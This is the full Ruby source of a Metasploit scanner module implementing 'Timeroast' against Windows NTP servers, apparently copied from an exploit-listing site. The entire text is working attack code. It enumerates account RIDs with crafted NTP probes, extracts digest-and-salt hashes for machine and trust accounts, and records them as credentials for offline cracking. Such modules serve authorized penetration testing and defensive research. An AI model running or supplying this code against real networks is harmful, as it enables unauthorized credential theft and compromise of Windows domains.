Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-NTP-TIMEROAST-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NTP Timeroast',
        'Description' => %q{
          Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
          48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
          that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
          because RIDs are sequential, they can easily be enumerated.
        },
        'Author' => [
          'Tom Tervoort',
          'Spencer McIntyre'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://github.com/SecuraBV/Timeroast/'],
          ['URL', 'https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf']
        ],
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    register_options([
      Opt::RPORT(123),
      OptIntRange.new('RIDS', [ true, 'The RIDs to enumerate (e.g. 1000-2000).' ]),
      OptInt.new('DELAY', [ true, 'The delay in milliseconds between attempts.', 20]),
      OptInt.new('TIMEOUT', [ true, 'The timeout in seconds to wait at the end for replies.', 5])
    ])
  end

  def validate
    super

    errors = {}
    errors['DELAY'] = 'DELAY can not be negative.' if datastore['DELAY'].to_i < 0
    errors['TIMEOUT'] = 'TIMEOUT can not be negative.' if datastore['TIMEOUT'].to_i < 0
    raise ::Msf::OptionValidateError, errors unless errors.empty?
  end

  def build_ntp_probe(rid)
    probe = Rex::Proto::NTP::Header::NTPHeader.new
    probe.leap_indicator = 3
    probe.version_number = 3
    probe.mode = Rex::Proto::NTP::Mode::CLIENT
    probe.key_identifier = [rid].pack('L>').unpack1('L<') # NTP uses big endian but MS uses little endian for this one field
    probe.message_digest = Random.random_bytes(OpenSSL::Digest.new('MD5').digest_length).unpack('C*')
    probe
  end

  def recv_response(timeout: 0)
    begin
      raw, = udp_sock.recvfrom(68, timeout) # 68 is always the number of bytes expected
    rescue ::Rex::SocketError, ::IOError
      return nil
    end

    return nil if raw.empty?

    Rex::Proto::NTP::Header::NTPHeader.read(raw)
  end

  def run_host(_ip)
    connect_udp

    delay = datastore['DELAY'].to_i
    pending = 0

    Msf::OptIntRange.parse(datastore['RIDS']).each do |rid|
      vprint_status("Checking RID: #{rid}")
      probe = build_ntp_probe(rid)
      udp_sock.put(probe.to_binary_s)
      pending += 1

      sleep(delay / 1000.0)

      response = recv_response
      next unless response

      process_response(response)
      pending -= 1
    end

    return if pending == 0

    print_status("Waiting on #{pending} pending responses...")
    remaining = 10
    while remaining > 0 && pending > 0
      response, elapsed_time = Rex::Stopwatch.elapsed_time do
        recv_response(timeout: remaining)
      end
      remaining -= elapsed_time
      next unless response

      process_response(response)
      pending -= 1
    end
  ensure
    disconnect_udp
  end

  def process_response(response)
    resp_rid = [response.key_identifier].pack('L<').unpack1('L>')
    message_digest = response.message_digest.pack('C*')
    salt = response.to_binary_s[0...response.offset_of(response.key_identifier)]
    hash = "$sntp-ms$#{message_digest.unpack1('H*')}$#{salt.unpack1('H*')}"

    print_good("Hash for RID: #{resp_rid} - #{resp_rid}:#{hash}")
    report_hash(hash)
  end

  def report_hash(hash)
    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'ntp',
      protocol: 'udp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: jtr_format
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end
end